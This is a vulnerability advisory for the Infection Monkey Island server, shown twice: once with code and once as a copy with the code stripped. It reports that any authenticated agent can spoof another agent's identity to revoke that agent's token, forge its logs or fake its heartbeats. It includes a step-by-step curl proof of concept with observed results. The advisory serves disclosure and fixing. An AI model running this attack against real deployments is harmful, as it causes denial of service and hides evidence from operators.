Summary
An authenticated Infection Monkey agent can inject arbitrary agent events, including AgentShutdownEvent, with any other agent's UUID as the source field. Because the Island does not verify that the event's source matches the submitting agent's identity, this allows one agent to impersonate another. When a shutdown event is injected for a victim agent, the Island immediately revokes the victim agent's authentication token and marks it as stopped, causing a denial of service and falsifying the simulation's recorded state.
Details
Agent events are submitted via POST /api/agent-events in monkey/monkey_island/cc/resources/agent_events.py. The endpoint requires an AGENT-role token but performs no check that the source field inside each submitted event matches the identity of the authenticated caller:
# monkey/monkey_island/cc/resources/agent_events.py
@auth_token_required
@roles_accepted(AccountRole.AGENT.name)
def post(self):
serialized_events = request.json
deserialized_events = []
for event in serialized_events:
serializer = self._event_serializer_registry[event[EVENT_TYPE_FIELD]]
deserialized_events.append(serializer.deserialize(event)) # source taken verbatim
for deserialized_event in deserialized_events:
self._agent_event_queue.publish(deserialized_event)
return {}, HTTPStatus.NO_CONTENT
Agent users are created with username=str(agent_id) in agent_otp_login.py. A correct implementation would validate event.source == UUID(current_user.username) before accepting each event, but no such check exists.
When an AgentShutdownEvent is processed, two Island event handlers fire:
-
update_agent_shutdown_status (cc/agent_event_handlers/update_agent_shutdown_status.py):
def __call__(self, event: AbstractAgentEvent):
agent_id = event.source # taken verbatim from injected event
agent = self._agent_repository.get_agent_by_id(agent_id)
agent.stop_time = datetime.fromtimestamp(event.timestamp, tz=pytz.UTC)
self._agent_repository.upsert_agent(agent)
-
AgentUserRemover.remove_on_shutdown (cc/services/authentication_service/register_event_handlers.py):
def remove_on_shutdown(self, event: AbstractAgentEvent):
agent_id = event.source # taken verbatim from injected event
self._authentication_facade.remove_user(str(agent_id))
remove_user calls revoke_all_tokens_for_user then delete_user, permanently revoking the victim's auth token.
The same missing check affects two additional agent-only endpoints:
PUT /api/agent-logs/<uuid:agent_id> (cc/services/log_service/flask_resources/agent_logs.py): any agent can overwrite the diagnostic logs stored for any other agent's UUID, enabling evidence tampering.
POST /api/agent/<uuid:agent_id>/heartbeat (cc/resources/agent_heartbeat.py): any agent can submit heartbeats attributed to any other agent's UUID, manipulating the liveness tracking used to set stop_time.
In a typical multi-hop BAS run, the parent agent passes its own UUID as the --parent flag when launching child agents, so each child already knows its parent's UUID and can target it.
PoC
Prerequisites: a running Infection Monkey Island (tested on v2.3.0), one registered operator account, and two agent sessions authenticated via the OTP flow.
ISLAND="https://localhost:5000"
# Step 0: register operator and obtain operator token
OPERATOR_TOKEN=$(curl -sk -X POST $ISLAND/api/register \
-H "Content-Type: application/json" \
-d '{"username":"operator","password":"Secure123!"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")
# Step 1: create attacker agent session via OTP
OTP_A=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
ATTACKER_UUID="aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"
ATTACKER_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
-H "Content-Type: application/json" \
-d "{\"agent_id\":\"$ATTACKER_UUID\",\"otp\":\"$OTP_A\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")
# Step 2: register attacker agent in the Island's agent repository
START=$(python3 -c "from datetime import datetime,timezone;print(datetime.now(timezone.utc).isoformat())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"id\":\"$ATTACKER_UUID\",\"machine_hardware_id\":100,\"start_time\":\"$START\",\"parent_id\":null,\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.1/24\"],\"sha256\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"}"
# expected: 204
# Step 3: create victim agent session via OTP
OTP_V=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
VICTIM_UUID="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb"
VICTIM_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
-H "Content-Type: application/json" \
-d "{\"agent_id\":\"$VICTIM_UUID\",\"otp\":\"$OTP_V\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")
# Step 4: register victim agent (child of attacker)
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
-H "Authentication-Token: $VICTIM_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"id\":\"$VICTIM_UUID\",\"machine_hardware_id\":200,\"start_time\":\"$START\",\"parent_id\":\"$ATTACKER_UUID\",\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.2/24\"],\"sha256\":\"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\"}"
# expected: 204
# Step 5: confirm victim token is valid before attack
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
-H "Authentication-Token: $VICTIM_TOKEN"
# expected: 200
# Step 6: attacker injects fake AgentShutdownEvent with victim's UUID as source
TS=$(python3 -c "import time;print(time.time())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agent-events \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d "[{\"type\":\"AgentShutdownEvent\",\"source\":\"$VICTIM_UUID\",\"timestamp\":$TS,\"tags\":[]}]"
# expected: 204
# Step 7: victim token is now revoked
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
-H "Authentication-Token: $VICTIM_TOKEN"
# expected: 401
# Step 8: operator confirms victim is falsely marked as stopped
curl -sk $ISLAND/api/agents -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json; [print('stop_time:',a.get('stop_time')) for a in json.load(sys.stdin) if a['id']=='bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb']"
# expected: stop_time: 20XX-XX-XXTXX:XX:XX...
Observed output from a live test run:
Step 5 (victim token valid): HTTP/1.1 200
Step 6 (inject shutdown): HTTP/1.1 204
Step 7 (victim token revoked): HTTP/1.1 401
Step 8 (victim stop_time set): 2026-06-20T02:17:24.038867Z
The log-overwrite variant is equally straightforward:
# Attacker overwrites victim's diagnostic log
curl -sk -o /dev/null -w "%{http_code}\n" -X PUT \
$ISLAND/api/agent-logs/$VICTIM_UUID \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '"Attacker forged this log entry"'
# expected: 204
# Operator reads victim log and sees forged content
curl -sk $ISLAND/api/agent-logs/$VICTIM_UUID \
-H "Authentication-Token: $OPERATOR_TOKEN"
# expected: "Attacker forged this log entry"
Impact
Any authenticated Monkey agent can inject events on behalf of other agents without restriction. The most severe consequence is that the attacker agent can force-terminate any peer agent: the victim's Island authentication token is immediately revoked and it is marked as stopped, preventing it from completing any further work or reporting results. An agent executing on a compromised host can therefore silently disable the agents responsible for detecting or reporting that host's compromise.
Secondary impacts include: diagnostic log falsification (hiding exploitation evidence from the operator) and heartbeat spoofing (keeping a stopped agent appearing alive, or permanently extending a running agent's apparent lifetime).
Affected Versions: <= 2.3.0, confirmed on commit a55fc8d
Summary
An authenticated Infection Monkey agent can inject arbitrary agent events, including
AgentShutdownEvent, with any other agent's UUID as thesourcefield. Because the Island does not verify that the event'ssourcematches the submitting agent's identity, this allows one agent to impersonate another. When a shutdown event is injected for a victim agent, the Island immediately revokes the victim agent's authentication token and marks it as stopped, causing a denial of service and falsifying the simulation's recorded state.Details
Agent events are submitted via
POST /api/agent-eventsinmonkey/monkey_island/cc/resources/agent_events.py. The endpoint requires anAGENT-role token but performs no check that thesourcefield inside each submitted event matches the identity of the authenticated caller:Agent users are created with
username=str(agent_id)inagent_otp_login.py. A correct implementation would validateevent.source == UUID(current_user.username)before accepting each event, but no such check exists.When an
AgentShutdownEventis processed, two Island event handlers fire:update_agent_shutdown_status(cc/agent_event_handlers/update_agent_shutdown_status.py):AgentUserRemover.remove_on_shutdown(cc/services/authentication_service/register_event_handlers.py):remove_usercallsrevoke_all_tokens_for_userthendelete_user, permanently revoking the victim's auth token.The same missing check affects two additional agent-only endpoints:
PUT /api/agent-logs/<uuid:agent_id>(cc/services/log_service/flask_resources/agent_logs.py): any agent can overwrite the diagnostic logs stored for any other agent's UUID, enabling evidence tampering.POST /api/agent/<uuid:agent_id>/heartbeat(cc/resources/agent_heartbeat.py): any agent can submit heartbeats attributed to any other agent's UUID, manipulating the liveness tracking used to setstop_time.In a typical multi-hop BAS run, the parent agent passes its own UUID as the
--parentflag when launching child agents, so each child already knows its parent's UUID and can target it.PoC
Prerequisites: a running Infection Monkey Island (tested on v2.3.0), one registered operator account, and two agent sessions authenticated via the OTP flow.
Observed output from a live test run:
The log-overwrite variant is equally straightforward:
Impact
Any authenticated Monkey agent can inject events on behalf of other agents without restriction. The most severe consequence is that the attacker agent can force-terminate any peer agent: the victim's Island authentication token is immediately revoked and it is marked as stopped, preventing it from completing any further work or reporting results. An agent executing on a compromised host can therefore silently disable the agents responsible for detecting or reporting that host's compromise.
Secondary impacts include: diagnostic log falsification (hiding exploitation evidence from the operator) and heartbeat spoofing (keeping a stopped agent appearing alive, or permanently extending a running agent's apparent lifetime).
Affected Versions: <= 2.3.0, confirmed on commit a55fc8d